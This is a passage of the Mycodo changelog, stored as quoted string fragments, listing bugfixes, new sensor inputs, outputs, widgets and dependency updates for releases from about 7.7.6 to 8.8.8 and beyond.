Add Output: GrovePi multi-channel relay I2C board\n - Add Output: PCA9685 16-channel PWM servo/LED controller\n - Add Input: MAX31865 (CircuitPython) ([#900](https://github.com/kizniche/mycodo/issues/900))\n - Add Input: Generic Hall Effect Flow sensor\n - Add Input: INA219 current sensor\n - Add Input: Grove Pi DHT11/22 sensor\n - Add Input: HC-SR04 Ultrasonic Distance sensor\n - Add Input: SCD30 CO2/Humidity/Temperature sensor\n - Add Input: Current Weather from OpenWeatherMap.org (Free API Key, Latitude/Longitude, 200,000 cities, Humidity/Temperature/Pressure/Dewpoint/Wind Speed/Wind Direction)\n - Add Input: Forecast Hourly/Daily Weather from OpenWeatherMap.org (Free API Key, , Humidity/Temperature/Pressure/Dewpoint)\n - Add Input: Raspberry Pi Sense HAT (humidity/temperature/pressure/compass/magnetism/acceleration/gyroscope)\n - Add Input: Xiaomi Mijia LYWSD03MMC\n - Add Input: Atlas Scientific CO2 sensor\n - Add Input: AHTx0 Temperature/Humidity sensor\n - Add Input: BME680 (Circuitpython)\n - Add measurements to Custom Controllers\n - Add Measurement and Unit: Speed, Meters/Second\n - Add Measurement and Unit: Direction, Bearing\n - Add Conversions: m/s <-> mph <-> knots, hour <-> minutes and seconds\n - Add LCD: Grove RGB LCD\n - Add Function: Bang-bang/hysteretic\n - Add Function Action: Output Value\n - Add Function Action: Set LCD Backlight Color\n - Add configurable link for navbar brand link\n - Add User option to Shell Command Function Action\n - Add Message and New Line options to Custom Options of Outputs\n - Add set_custom_option/get_custom_option to Conditionals ([#901](https://github.com/kizniche/mycodo/issues/901))\n - Add ability to login with username/password using MQTT Input and Outputs\n - Add ability to use Custom Channel Options with Inputs (first used in MQTT Input)\n - Add Custom Functions/Inputs/Outputs/Widgets to Settings Export/Import\n - Add user_scripts directory for user code that's preserved during upgrade/export/import ([#930](https://github.com/kizniche/mycodo/issues/930))\n - Add pin mode option (float, pull-up, pull-down) for Edge and State Inputs\n - Add Method: Cascaded Method, allows combining (multiply) any number of existing methods\n - Add Functions and to API\n - Add missing Input Channels to Input API calls", "### Miscellaneous", " - Remove lirc\n - Change widget title styles\n - Fix GCC warnings ([#906](https://github.com/kizniche/mycodo/issues/906))\n - Remove default user \"pi\" with \"mycodo\" (for compatibility with non-Raspberry Pi operating systems)\n - Update pyusb to 1.1.1\n - Refactor Edge detection Input\n - Refactor method implementation from single large method into multiple small classes\n - Changed duration method start- and end-time handling\n - Port Math controllers to Functions: Equation (Single/Multi), Difference, Statistics (Single/Multi), Average (Single/Multi), Sum (Single/Multi), Wet-Bulb Humidity, Redundancy, Vapor Pressure Deficit, Verification\n - Deprecate Math controllers\n - Remove Math controllers from and add Functions to Live page", "\n## 8.8.8 (2020-10-30)", "### Bugfixes", " - Fix PiOLED (CircuitPython) ([#842](https://github.com/kizniche/mycodo/issues/842))", "### Miscellaneous", " - Update Polish translations", "\n## 8.8.7 (2020-10-27)", "### Bugfixes", " - Fix missing default values when adding new controllers ([#868](https://github.com/kizniche/mycodo/issues/868))\n - Fix catching loss of internet connection during upgrade ([#869](https://github.com/kizniche/mycodo/issues/869))\n - Fix Function Actions Output PWM and Output PWM Ramp not working ([#865](https://github.com/kizniche/mycodo/issues/865))\n - Fix dependencies not being installed for LCDs\n - Fix saving when missing/malformed custom_options JSON present ([#866](https://github.com/kizniche/mycodo/issues/866))", "### Features", " - Add LCDs: 128x32 and 128x64 PiOLED using the Adafruit CircuitPython library ([#842](https://github.com/kizniche/mycodo/issues/842))", "\n## 8.8.6 (2020-10-07)", "### Bugfixes", " - Fix order of Atlas Scientific pH sensor calibration points ([#861](https://github.com/kizniche/mycodo/issues/861))", "### Features", " - Add Polish translation", "\n## 8.8.5 (2020-10-01)", "### Bugfixes", " - Fix Output Widgets not able to control outputs\n - Fix ADS1256 ([#854](https://github.com/kizniche/mycodo/issues/854))\n - Fix PID controllers not obeying minimum off duration ([#859](https://github.com/kizniche/mycodo/issues/859))", "\n## 8.8.4 (2020-09-28)", "### Bugfixes", " - Increase nginx proxy buffer to accommodate large headers ([#849](https://github.com/kizniche/mycodo/issues/849))\n - Fix URL generation for cameras ([#850](https://github.com/kizniche/mycodo/issues/850))\n - Fix display of Output data on Asynchronous Graphs ([#847](https://github.com/kizniche/mycodo/issues/847))", "\n## 8.8.3 (2020-09-15)", "### Bugfixes", " - Fix inability to create Angular Gauge Widget with more than 4 stops ([#844](https://github.com/kizniche/mycodo/issues/844))\n - Fix issue with Python Code Input ([#846](https://github.com/kizniche/mycodo/issues/846))\n - Fix issue with install ([#845](https://github.com/kizniche/mycodo/issues/845))", "\n## 8.8.2 (2020-09-13)", "### Bugfixes", " - Fix PID Controller not operating ([#843](https://github.com/kizniche/mycodo/issues/843))\n - Fix inability to switch any output except channel 0 from web interface ([#840](https://github.com/kizniche/mycodo/issues/840))\n - Minor fixes for PCF8574 Output\n - Fix Atlas Pump recording two pump durations", "### Features", " - Add ability to select method in Input/Output/Function controller custom options", "\n## 8.8.1 (2020-09-09)", "### Bugfixes", " - Fix partially broken upgrade to new output system\n - Fix GPIO output startup states", "\n## 8.8.0 (2020-09-08)", "This release changes the Output framework to add the ability for a single Output to control multiple channels. This was originally based on the PCF8574 8-bit I/O Expander, which allows 8 additional IO pins to be controlled via the I2C bus, but applies to any other output device with more than one channel. As a result of this change, you will need to update any Custom Outputs to follow the new format (see /mycodo/outputs directory).", "### Bugfixes", " - Fix inability to save Python Code Input settings ([#827](https://github.com/kizniche/mycodo/issues/827))\n - Fix Cameras not appearing in Camera Widget ([#828](https://github.com/kizniche/mycodo/issues/828))\n - Fix inability to save Pause PID Function Action ([#836](https://github.com/kizniche/mycodo/issues/836))\n - Fix error diaplying Measurement or Gauge Widgets with Math controllers using non-default units ([#831](https://github.com/kizniche/mycodo/issues/831))\n - Fix default values not displaying for Input/Output Custom Actions\n - Fix some apt packages being detected as installed when they are not installed\n \n### Features", " - Convert Input module custom_options from CSV to JSON\n - Add Anyleaf ORP and pH Inputs ([#825](https://github.com/kizniche/Mycodo/pull/825))", "### Miscellaneous", " - Remove unused Output selection in Methods", "\n## 8.7.2 (2020-08-23)", "### Bugfixes", " - Fix issue displaying Measurement Widgets when a Math measurement is selected ([#817](https://github.com/kizniche/mycodo/issues/817))\n - Fix inability to generate Widget HTML ([#817](https://github.com/kizniche/mycodo/issues/817), [#822](https://github.com/kizniche/mycodo/issues/822))", "### Features", " - Add ability to duplicate a dashboard and its widgets ([#812](https://github.com/kizniche/mycodo/issues/812))", "\n## 8.7.1 (2020-08-10)", "### Bugfixes", " - Remove copy of widget HTML files during upgrade", "\n## 8.7.0 (2020-08-10)", "This update includes the final refactoring of the output system to accommodate output modules that can operate multiple different types of output types. For instance, a peristaltic pump can be instructed to turn on for a duration or instructed to pump a volume. As a result of the output framework being modified to accommodate this, the duty_cycle parameter was removed from ```output_on_off()``` and ```output_on()``` functions of the ```DaemonControl``` class of mycodo_client.py. As a result, if you were previously using either of these function, you will need to add the parameter ```output_type='pwm'``` and change the ```duty_cycle``` parameter to ```amount```. For example, ```output_on(output_id, duty_cycle=50)``` would need to be changed to ```output_on(output_id, output_type='pwm', amount=50)```, and ```output_on_off(output_id, 'on', duty_cycle=50)``` to ```output_on_off(output_id, 'on', output_type='pwm', amount=50)```.", "This update also adds the ability to import custom Widget modules. Much like custom Inputs, Outputs, and Functions, you can now create and import your own single-file Widget module that allow new widgets to be added to a dashboard.", "### Bugfixes", " - Fix issue installing Python modules ([#804](https://github.com/kizniche/mycodo/issues/804))\n - Fix inability to save PID options when On/Off output selected ([#805](https://github.com/kizniche/mycodo/issues/805))\n - Fix graph shift issues\n - Fix PID Input/Math Setpoint Tracking unit and integer issue ([#811](https://github.com/kizniche/mycodo/issues/811))\n - Fix PID Controller debug logging ([#811](https://github.com/kizniche/mycodo/issues/811))\n - Fix bug in password reset function that would allow an attacker to discover if a user name doesn't exist", "### Features", " - Add Output: On/Off MQTT Publish\n - Add Output information links\n - Add ability to download Mycodo Backups ([#803](https://github.com/kizniche/mycodo/issues/803))\n - Add ability to import custom Widget modules\n - Add Widget Controller for background widget processes\n - Add Widget: Python Code ([#803](https://github.com/kizniche/mycodo/issues/803))\n - Add an option to the password reset function to save the reset code to a file", "### Miscellaneous", " - Deprecate duty_cycle parameter of output functions\n - Remove graph Shift X-Axis option\n - Move Autotune from PID Controller to Separate PID Autotune Controller ([#811](https://github.com/kizniche/mycodo/issues/811))", "\n## 8.6.4 (2020-07-25)", "### Bugfixes", " - Fix issue displaying lines 5-8 on SD1306 LCDs ([#800](https://github.com/kizniche/mycodo/issues/800))\n - Fix Atlas Scientific Pump duration unit issues ([#801](https://github.com/kizniche/mycodo/issues/801))", "### Features", " - Add Inputs: Ads1115 (Circuit Python library), ADS1015 (Circuit Python library)\n - Add Input: BMP280 (bmp280-python library, includes ability to set forced mode) ([#608](https://github.com/kizniche/mycodo/issues/608))", "### Miscellaneous", " - Deprecate Input using the Adafruit_ADS1x15 library", "\n## 8.6.3 (2020-07-25)", "### Bugfixes", " - Fix ADS1x15 Input", "\n## 8.6.2 (2020-07-25)", "### Bugfixes", " - Fix DS18S20 Input module ([#796](https://github.com/kizniche/mycodo/issues/796))\n - Fix Peristaltic Pump Outputs unable to turn on for durations ([#799](https://github.com/kizniche/mycodo/issues/799))", "### Features", " - Add a ([Building a Custom Input Module wiki page](https://github.com/kizniche/Mycodo/wiki/Building-a-Custom-Input)", "### Miscellaneous", " - Improve custom output framework\n - Consolidate locking code to utils/lockfile.py", "\n## 8.6.1 (2020-07-22)", "### Bugfixes", " - Fix Wireless 315/433 MHz Output module", "\n## 8.6.0 (2020-07-22)", "This update adds a Generic Peristaltic Pump Output to compliment the Atlas Scientific Peristaltic Pump Output. Generic peristaltic pumps are less expensive but often have acceptable dispensing accuracy. Once your pump's flow rate has been measured and this rate set in the Output options, your pump can be used to dispense specific volumes of liquid just like the Atlas Scientific pumps. This release also enables pumps to dispense for durations of time in addition to specific volumes (once calibrated). So, you can now operate a PID controller or other functions/controllers that instruct a pump to dispense for a duration in seconds or a volume in milliliters.", "In this update, the Atlas Scientific Peristaltic Pump Output duration units have been changed form minutes to seconds, to align with other Outputs that use the second SI unit.", "WARNING: As a result of how this new output operates, a potentially breaking change has been introduced. If you use any custom Output modules, you will need to add the parameter output_type=None to the output_switch() function of all of your custom Output module files. If you do not, the Mycodo daemon/backend will fail to start after upgrading to or beyond this version. It is advised to modify your custom Output modules prior to upgrading to ensure the daemon successfully starts after the upgrade. If you have not created or imported any custom Output modules, there is nothing that needs to be done.", "### Bugfixes", " - Fix measurement being stored in database after sensor error ([#795](https://github.com/kizniche/mycodo/issues/795))\n - Fix UART communication with Atlas Scientific devices ([#785](https://github.com/kizniche/mycodo/issues/785))\n - Fix FTDI communication with Atlas Scientific devices\n - Fix PID Dashboard Widget error in log when PID inactive\n - Fix install on Desktop version of Raspberry Pi OS by removing python3-cffi-backend\n - Fix inability to change I2C address of ADS1x15 Input ([#788](https://github.com/kizniche/mycodo/issues/788))\n - Fix issues with calibrating Atlas Scientific devices ([#789](https://github.com/kizniche/mycodo/issues/789))\n - Fix missing default input custom option values if not set in the database\n - Add missing TSL2561 I2C addresses\n - Fix daemon hang on use of incorrect Atlas Scientific UART device (add writeTimeout to every serial.Serial())\n - Fix uninstall of pigpiod\n - Fix missing pigpio dependency for GPIO PWM Outputs\n - Prevent LCD controllers from activating if Max Age or Decimal Places are unset ([#795](https://github.com/kizniche/mycodo/issues/795))", "### Features", " - Add Inputs: ADXL34x, ADT7410 ([#791](https://github.com/kizniche/mycodo/issues/791))\n - Add Output: Generic Peristaltic Pump\n - Add ability to turn peristaltic pumps on for durations (in addition to volumes)\n - Add Function Action: Output (Volume)\n - Improve general compatibility with Atlas Scientific devices\n - Add ability to utilize volume Outputs (pumps) with PID Controllers\n - Add pypi.org links to Input libraries in Input description information\n - Add SPI interface as an option for SD1306 LEDs ([#793](https://github.com/kizniche/mycodo/issues/793))", "### Miscellaneous", " - Change Atlas Scientific Peristaltic Pump Output duration unit from minute to second\n - Move clear total volume function for Atlas Scientific Flow Meter to Input Module\n - Add instruction for viewing the frontend web log on the web 502 error page ([#786](https://github.com/kizniche/mycodo/issues/786))", "\n## 8.5.8 (2020-07-07)", "### Bugfixes", " - Fix inability to install pigpio ([#783](https://github.com/kizniche/mycodo/issues/783))", "\n## 8.5.7 (2020-07-07)", "### Bugfixes", " - Fix inability to install internal dependencies (pigpio, bcm2835, etc.) ([#783](https://github.com/kizniche/mycodo/issues/783))", "\n## 8.5.6 (2020-06-30)", "### Bugfixes", "- Fix API database schema issue", "\n## 8.5.5 (2020-06-30)", "### Bugfixes", " - Prevent user with insufficient permissions from rearranging dashboard widgets\n - Fix installing internal dependencies\n - Fix restore of influxdb measurement data from import/Export page\n - Fix Gauge Widget Measurement options from being selected after saving", "### Features", " - Create scripts to automatically generate Input section of manual", "### Miscellaneous", " - Add URLs to Input information\n - Switch from deprecated SSLify to Talisman\n - Update Python dependencies", "\n## 8.5.4 (2020-06-06)", "### Bugfixes", " - Fix Atlas Scientific pump on duration calculation", "\n## 8.5.3 (2020-06-06)", "### Bugfixes", " - Fix upgrade not preserving custom outputs\n - Fix missing output device measurements in database ([#779](https://github.com/kizniche/mycodo/issues/779))", "\n## 8.5.2 (2020-06-01)", "### Bugfixes", " - Fix Atlas Scientific Pump Output timestamp parsing", "\n## 8.5.1 (2020-05-30)", "### Bugfixes", " - Fix translations\n - Fix dependency check during upgrade\n - Fix Atlas Scientific Pump Output", "\n## 8.5.0 (2020-05-30)", "With this release comes the ability to write and import custom Outputs. If you want to utilize an output that Mycodo doesn't currently support, you can now create your own Output module and import it to be used within the system. See [Custom Outputs](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-outputs) in the manual for more information.", "WARNING: There are changes with this version that may cause issues with your currently-configured outputs. Therefore, after upgrading, test if your outputs work and update their configuration if needed.", "### Bugfixes", " - Fix PID Widget preventing graph custom colors from being editable\n - Fix graph Widget custom color issues ([#760](https://github.com/kizniche/mycodo/issues/760))\n - Fix PWM Trigger Functions reacting to 0 % duty cycle being set ([#761](https://github.com/kizniche/mycodo/issues/761))\n - Fix KeyError if missing options when saving Input\n - Fix ZH03B Input: add repeat measurement option and discard erroneous measurements\n - Fix update check IndexError if there's no internet connection\n - Fix parsing API api_key from requests\n - Fix the inability of Math Controllers to use converted measurements\n - Fix Redundancy Math controller ([#768](https://github.com/kizniche/mycodo/issues/768))\n - Fix display of Custom Controller options\n - Fix hostname display on login page\n - Fix missing blank line check for LCDs with 8 lines ([#771](https://github.com/kizniche/mycodo/issues/771))\n - Fix unset user groups when executing shell commands\n - Fix guest users being able to create dashboards\n - Fix queries with updated influxdb Python library", "### Features", " - Add ability to write and import your own Custom Output Modules\n - Add Input: VL53L0X (Laser-Range Measurement) ([#769](https://github.com/kizniche/mycodo/issues/769))\n - Add Input: AS7262 Spectral Sensor (measures 450, 500, 550, 570, 600, and 650 nm wavelengths)\n - Add Input: Atlas Scientific EZO Pressure Sensor\n - Add ability to create custom Input actions\n - Add MH-Z19/MH-Z19B Input actions: zero and span point calibrations\n - Add unit conversions: PSI to kPa, PSI to cm H2O, kPa to PSI\n - Add literature links to Input options: Manufacturer, Datasheet, Product\n - Add 'tail dmesg' to System Information page\n - Add Function Actions: System Restart and System Shutdown ([#763](https://github.com/kizniche/mycodo/issues/763))\n - Add Conditional options: Log Level Debug and Message Includes Code\n - Add Force Command option for Command/Python/Wireless Outputs ([#728](https://github.com/kizniche/mycodo/issues/728))\n - Add ability to select which user executes Linux Output commands ([#719](https://github.com/kizniche/mycodo/issues/719))\n - Add Cameras: URL (urllib), URL (requests) \n - Add ability to encode videos from time-lapse image sets\n - Add send_email() to Daemon Control object", "### Miscellaneous", " - Upon controller activation, generate Input and Conditional code files if they don't exist\n - Update Werkzeug to 1.0.1 ([#742](https://github.com/kizniche/mycodo/issues/742)), Flask-RESTX to 0.2.0, alembic to 1.4.2, pyro5 to 5.8, SQLAlchemy to 1.3.15, distro to 1.5.0,\n - Refactor Python Output code \n - Update all translations (all complete)\n - Rename MH-Z19 Input to MH-Z19B (and add MH-Z19 Input)\n - Change Email Notification options to allow unauthenticated sending\n - Add conversions: m <-> cm <-> mm\n - Make PID Controller a class\n - Restyle Output page ([#732](https://github.com/kizniche/mycodo/issues/732))\n - Include error response in PWM/On-Off Command Output debug logging line\n - Update InfluxDB to 1.8.0", "\n## 8.4.0 (2020-03-23)", "### Bugfixes", " - Fix invalid links to Help pages\n - Prevent unstoppable Conditional Controller by adding self.running bool variable\n - Fix calculation error causing inaccuracy with ADS1x15 analog-to-digital converter Input\n - Remove PWM and Pump Outputs from Energy Usage calculations\n - Fix links to camera widget error images\n - Fix reference to input library to properly display 1-Wire device IDs ([#752](https://github.com/kizniche/mycodo/issues/752))\n - If a camera output is already on when capturing an image, dont' turn it off after capture\n - Discard first measurement of Atlas Scientific Inputs to prevent some erroneous measurements\n - Fix display of setpoint on PID widget if a band is in use ([#744](https://github.com/kizniche/mycodo/issues/744))\n - Fix Amp calculation ([#758](https://github.com/kizniche/mycodo/issues/758))", "### Features", " - Add temperature compensation option for the Atlas Scientific Electrical Conductivity and Dissolved Oxygen Inputs\n - Add Inputs: Atlas Scientific Flow Sensor, Atlas Scientific RGB Color Sensor\n - Add Function Action: Clear Total Volume of Flow Meter, Force Input Measurements\n - Add option to repeat measurements and store average for ADS1x15 analog-to-digital converter Input\n - Add PID option Always Min for PWM outputs to always use at least the min duty cycle ([#757](https://github.com/kizniche/mycodo/issues/757))\n - Add email password reset", "### Miscellaneous", " - Add prefix to device IDs when using w1thermsensor ([#752](https://github.com/kizniche/mycodo/issues/752))", "\n## 8.3.0 (2020-02-21)", "### Bugfixes", " - Fix determining frontend/backend virtualenv status\n - Fix error detecting GPIO state during energy usage report generation ([#745](https://github.com/kizniche/mycodo/issues/745))\n - Fix Atlas Scientific pH Input temperature calibration measurement\n - Fix Atlas Scientific EZO-PMP flow mode not taking effect immediately upon saving\n - Change deprecated w1thermsensor set_precision() to set_resolution()\n - Fix setting DS sensor resolution ([#747](https://github.com/kizniche/mycodo/issues/747))\n - Split DS18B20 Input into two files (one using w1thermsensor and another using ow-shell) ([#746](https://github.com/kizniche/mycodo/issues/746))\n - Prevent users without \"view settings\" permission from viewing email addresses\n - Fix TSL2561 input ([#750](https://github.com/kizniche/mycodo/issues/750))", "### Features", " - Add Temperature Offset option for BME680 Input ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Add ability to change number of stops for Gauge Widgets ([#749](https://github.com/kizniche/mycodo/issues/749))", "### Miscellaneous", " - Fix logging level of calibration functions\n - Populate setpoint in field of PID dashboard widget ([#748](https://github.com/kizniche/mycodo/issues/748))", "\n## 8.2.5 (2020-02-09)", "### Bugfixes", " - Fix daemon not being able to read measurements ([#743](https://github.com/kizniche/mycodo/issues/743))", "\n## 8.2.4 (2020-02-08)", "### Bugfixes", " - Fix logs appearing blank after logrotate runs ([#734](https://github.com/kizniche/mycodo/issues/734))\n - Update Flask-Babel to 1.0.0 to fix broken werkzeug ([#742](https://github.com/kizniche/mycodo/issues/742))\n - Increase install wait times to prevent timeouts ([#742](https://github.com/kizniche/mycodo/issues/742))", "### Features", " - Add BME680 temperature/humidity/pressure/VOC sensor ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Add measurement: resistance\n - Add unit: Ohm\n - Merge from [Flask-RESTPlus](https://github.com/noirbizarre/flask-restplus/issues/770) to [Flask-RESTX](https://github.com/python-restx/flask-restx) ([#742](https://github.com/kizniche/mycodo/issues/742))", "### Miscellaneous", " - Improve sanity-checking of Input custom_options\n - Improve sanity-checking of API endpoints ([#741](https://github.com/kizniche/mycodo/issues/741))\n - Update pip requirements", "\n## 8.2.3 (2020-01-27)", "### Bugfixes", " - Fix error during upgrade check if there is no internet connection\n - Fix MQTT input, prevent keepalive from being <= 0 ([#733](https://github.com/kizniche/mycodo/issues/733))\n - Fix issue restarting frontend using diagnostic database delete feature\n - Fix ability to import Inputs with measurements/units that don't exist in database ([#735](https://github.com/kizniche/mycodo/issues/735))\n - Fix ability to modify measurement/unit names that Inputs rely on\n - Fix inability to modify custom measurements\n - Fix error when deleting dashboards from the Config->Diagnostics menu ([#737](https://github.com/kizniche/mycodo/issues/737))\n - Fix dashboard gauges causing the dashboard to crash ([#736](https://github.com/kizniche/mycodo/issues/736))", "### Miscellaneous", " - Refactor upgrade check code into class to reduce the number of hits to github.com\n - Rearrange dashboard dropdown menu\n - Allow creation of measurement/unit IDs with upper-case letters ([#735](https://github.com/kizniche/mycodo/issues/735))", "## 8.2.2 (2020-01-06)", "### Bugfixes", " - Fix table colors ([#724](https://github.com/kizniche/mycodo/issues/724))\n - Fix error when dashboard is set to default landing page ([#727](https://github.com/kizniche/mycodo/issues/727))", "### Features", " - Add options to show/hide various widget info ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add Input: MLX90614 ([#723](https://github.com/kizniche/mycodo/pull/723))", "### Miscellaneous", " - Update Bootstrap to 4.4.1\n - Update Bootstrap themes", "\n## 8.2.1 (2019.12.08)", "This update brings the ability to create multiple dashboards. The dashboard grid spacing has also changed, so you will need to resize your widgets.", "This update also brings the ability to run Mycodo/Influxdb in Docker containers, enabling Mycodo to run outside the Raspberry Pi and Raspbian environment. For instance, I currently have Mycodo running on my 64-bit PC in Ubuntu 18.04. This is an experimental feature and is not yet recommended to be used in a production environment. See the [Docker README](https://github.com/kizniche/Mycodo/blob/master/docker/README.md) for more information.", "### Features", " - Add ability to run Mycodo in Docker containers ([#637](https://github.com/kizniche/mycodo/issues/637))\n - Add ability to create multiple dashboards ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add Dashboard Widget: Spacer ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add ability to hide Widget drag handle, set Widget name font size, and hide Graph Widget buttons ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add ability to set Dashboard grid cell height", "### Miscellaneous", " - Change grid width from 12 to 20 columns\n - Update InfluxDB from 1.7.8 to 1.7.9", "\n## 8.1.1 (2019.11.26)", "### Bugfixes", " - Fix outputs not turning on", "\n## 8.1.0 (2019.11.26)", "This update brings a new Dashboard organization method, allowing drag-and drop placement and resizing of widgets using gridstack.js. This new system is not comparable to the old; and after upgrading, all widgets will lose their size and position and will need to be repositioned on your dashboard.", "### Bugfixes", " - Fix Atlas Scientific UART interfaces\n - Fix display of units in conversion list on Measurement Settings page\n - Fix unit conversions for Math controllers ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix Wet-Bulb Humidity calculation in Math controller ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix disabled measurements not appearing for math controllers ([#716](https://github.com/kizniche/mycodo/issues/716))\n - Fix disabled measurements from Math controllers still being recorded in influxdb\n - Fix inability to select PID Controller with PID Control Widget ([#718](https://github.com/kizniche/mycodo/issues/718))\n - Fix displaying image in Camera Widgets\n - Fix display of measurement unit on Gauge Widgets", "### Features", " - Implement new method for arranging and sizing Dashboard Widgets ([#717](https://github.com/kizniche/mycodo/issues/717))\n - Add API endpoints: /measurements/historical and /measurements/historical_function\n - Add ability to set timestamp with /measurements/create API endpoint\n - Display the entire log for the ongoing upgrade rather than only the last 40 lines\n - Add Calibration: Atlas Scientific Electrical Conductivity Sensor ([#710](https://github.com/kizniche/mycodo/issues/710))\n - Add Input: Mycodo Version (mainly for testing)\n - Allow timestamp to be specified for Python 3 Code Input measurement creation ([#716](https://github.com/kizniche/mycodo/issues/716))", "### Miscellaneous", " - Update Bootstrap to 4.3.1\n - Update FontAwesome to 5.11.2", "\n## 8.0.3 (2019.11.15)", "### Bugfixes", " - Fix timeout errors during settings/influxdb database import\n - Fix python3 version check during install ([#714](https://github.com/kizniche/mycodo/issues/714))\n - Fix upgrade checking\n ", "## 8.0.2 (2019.11.13)", "### Bugfixes", " - Fix doubling the amount used to calculate Amp draw during an output being turned on", "\n## 8.0.1 (2019.11.11)", "### Bugfixes", " - Add Python version check to Mycodo installer ([#712](https://github.com/kizniche/mycodo/issues/712))\n - Daemon now checks for any newer version during upgrade check", "### Features", " - Allow any database version <= the currently-installed Mycodo version to be imported", "\n## 8.0.0 (2019.11.09)", "Warning: This version will not work with Python 3.5 (Raspbian Stretch). Only upgrade if you have Python 3.7 installed (Raspbian Buster).", "This version introduces an improved upgrade system and a REST API (requiring Python >= 3.6) for communicating with Mycodo ([API Info](https://github.com/kizniche/Mycodo/blob/master/mycodo-api.rst) and [API Manual](https://kizniche.github.io/Mycodo/mycodo-api.html)).", "### Features", " - Add REST API ([#705](https://github.com/kizniche/mycodo/issues/705))", "\n## 7.10.0 (2019.11.09)", "### Bugfixes", " - Fix Output control toaster always displaying error\n - Fix translations not working ([#708](https://github.com/kizniche/mycodo/issues/708))\n - Fix display of units on LCDs\n - Fix inability of Graph Range Selector option to stay checked", "### Features", " - Add button to copy device UUID to clipboard\n - Add ability to set IP, port, and timeout for upgrade internet check\n - Add new Camera library: opencv\n - Add ability for variables to persist in Conditional statements\n - Add ability to import any database <= the current Mycodo version (database upgrade will be performed)\n - Add ability to install all unmet dependencies when importing a database\n - Improve upgrade system", "\n## 7.9.1 (2019.10.26)", "### Bugfixes", " - Fix issue querying data for Asynchronous graphs", "### Features", " - Add ability to select duty cycle step size for PWM Ramp Function Action ([#704](https://github.com/kizniche/mycodo/issues/704))", "\n## 7.9.0 (2019.10.24)", "This update improves the backup/restore mechanism for the Mycodo InfluxDB time-series database. InfluxDB backups made prior to v7.8.5 will need to be restored manually. All new backups made will be in the Enterprise-compatible backup format, and only this format will be able to be restored moving forward. See [Backing up and restoring in InfluxDB](https://docs.influxdata.com/influxdb/v1.7/administration/backup_and_restore/) for more information.", "This update also moves the Camera options from the Settings to the Camera page, to be more in-line with the formatting of other pages.", "### Bugfixes", " - Fix Asynchronous Graphs not displaying data\n - Fix Conditional Measurement (Multiple) Condition error\n - Fix inability to set Raspberry Pi (raspi-config) settings from the Configuration menu", "### Features", " - Update InfluxDB database export/import to use new Enterprise-compatible backup format\n - Add general camera options: stream height/width, hide last still, and hide last timelapse ([#703](https://github.com/kizniche/mycodo/issues/703))\n - Add picamera options: white balance, shutter speed, sharpness, iso, exposure mode, meter mode, and image effect ([#313](https://github.com/kizniche/mycodo/issues/313), [#703](https://github.com/kizniche/mycodo/issues/703))\n - Add Function Action: Ramp PWM ([#704](https://github.com/kizniche/mycodo/issues/704))\n - Add Conditional Conditions: Measurement (Single, Past, Average), Measurement (Single, Past, Sum) ([#636](https://github.com/kizniche/mycodo/issues/636))", "### Miscellaneous", " - Move camera settings from Settings page to Camera page", "\n## 7.8.4 (2019.10.18)", "### Bugfixes", " - Actually fix inability to save PID options ([#701](https://github.com/kizniche/mycodo/issues/701))", "\n## 7.8.3 (2019.10.18)", "### Bugfixes", " - Fix inability to save PID options ([#701](https://github.com/kizniche/mycodo/issues/701))", "\n## 7.8.2 (2019.10.17)", "### Bugfixes", " - Fix Output Action", "\n## 7.8.1 (2019.10.15)", "### Bugfixes", " - Fix copying custom controllers during upgrade", "\n## 7.8.0 (2019.10.14)", "This release brings a big feature: Custom Controllers. Now users can import Custom Controllers just like Custom Inputs. There is a new settings section of the Configuration menu called Controllers, where a single-file Custom Controller can be imported into Mycodo. This new controller will appear in the dropdown list on the Functions page, and will act like any other function controller (PID, Trigger, LCD, etc.). See the [Custom Controllers](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-controllers) section of the manual.", "There's also a new Android app, [Mycodo Support](https://play.google.com/store/apps/details?id=com.mycodo.mycododocs) that provides access to several Mycodo support resources.", "### Bugfixes", " - Fix Atlas Scientific EZP Pump not working with PID Controllers ([#562](https://github.com/kizniche/mycodo/issues/562))\n - Fix Output page not showing Duty Cycle for PWM Output status\n - Fix blank Live page if Inputs added but not yet activated\n - Fix inability to capture photos with USB camera ([#677](https://github.com/kizniche/mycodo/issues/677))\n - Fix issues related to influxdb not fully starting before the Mycodo daemon\n - Fix timeout exporting large amounts of data", "### Features", " - Add ability to import Custom Controllers (See [Custom Controllers](https://github.com/kizniche/Mycodo/blob/master/mycodo-manual.rst#custom-controllers))\n - Add ability to set PWM Output startup and shutdown state ([#699](https://github.com/kizniche/mycodo/issues/699))\n - Add Dashboard Widget: Output PWM Range Slider ([#699](https://github.com/kizniche/mycodo/issues/699))\n - Add ability to use Input/Math measurements with PID setpoint tracking ([#639](https://github.com/kizniche/mycodo/issues/639))\n - Add search to Function select", "### Miscellaneous", " - Remove Flask_influxdb\n - Upgrade Influxdb from 1.7.6 to 1.7.8", "\n## 7.7.9 (2019.09.29)", "### Bugfixes", " - Fix issue displaying Outputs on Asynchronous Graph", "### Features", " - Add Start Offset option for Inputs\n - Add ability to disable Graph series Data Grouping", "### Miscellaneous", " - Rename Conditional Statement measure() to condition() in Conditional Controllers\n - Add description for all Conditional Conditions and Actions", "\n## 7.7.8 (2019.09.22)", "### Bugfixes", " - Fix LCD controller", "### Miscellaneous", " - PEP8\n - Improve error/debug logging", "\n## 7.7.7 (2019.09.20)", "### Bugfixes", " - Add reset to SHT31 Input when it errors ([#695](https://github.com/kizniche/mycodo/issues/695))", "### Features", " - Add LCD Line: Custom Text\n - Add Input: BME280 using RPi.bme280 library ([#694](https://github.com/kizniche/mycodo/issues/694))\n - Add \"Library\" to distinguish inputs that use different libraries to acquire measurements for the same sensor", "\n## 7.7.6 (2019.09.19)", "### Bugfixes", " - Fix Outputs not showing up on Dashboard and mislabeled measurements ([#692](https://github.com/kizniche/mycodo/issues/692))\n - Update wiringpi to fix issue with Raspberry Pi 4 board ([#689](https://github.com/kizniche/mycodo/issues/689))", "### Features", " - Add Conditional Conditions: Output Duration On, Controller Running 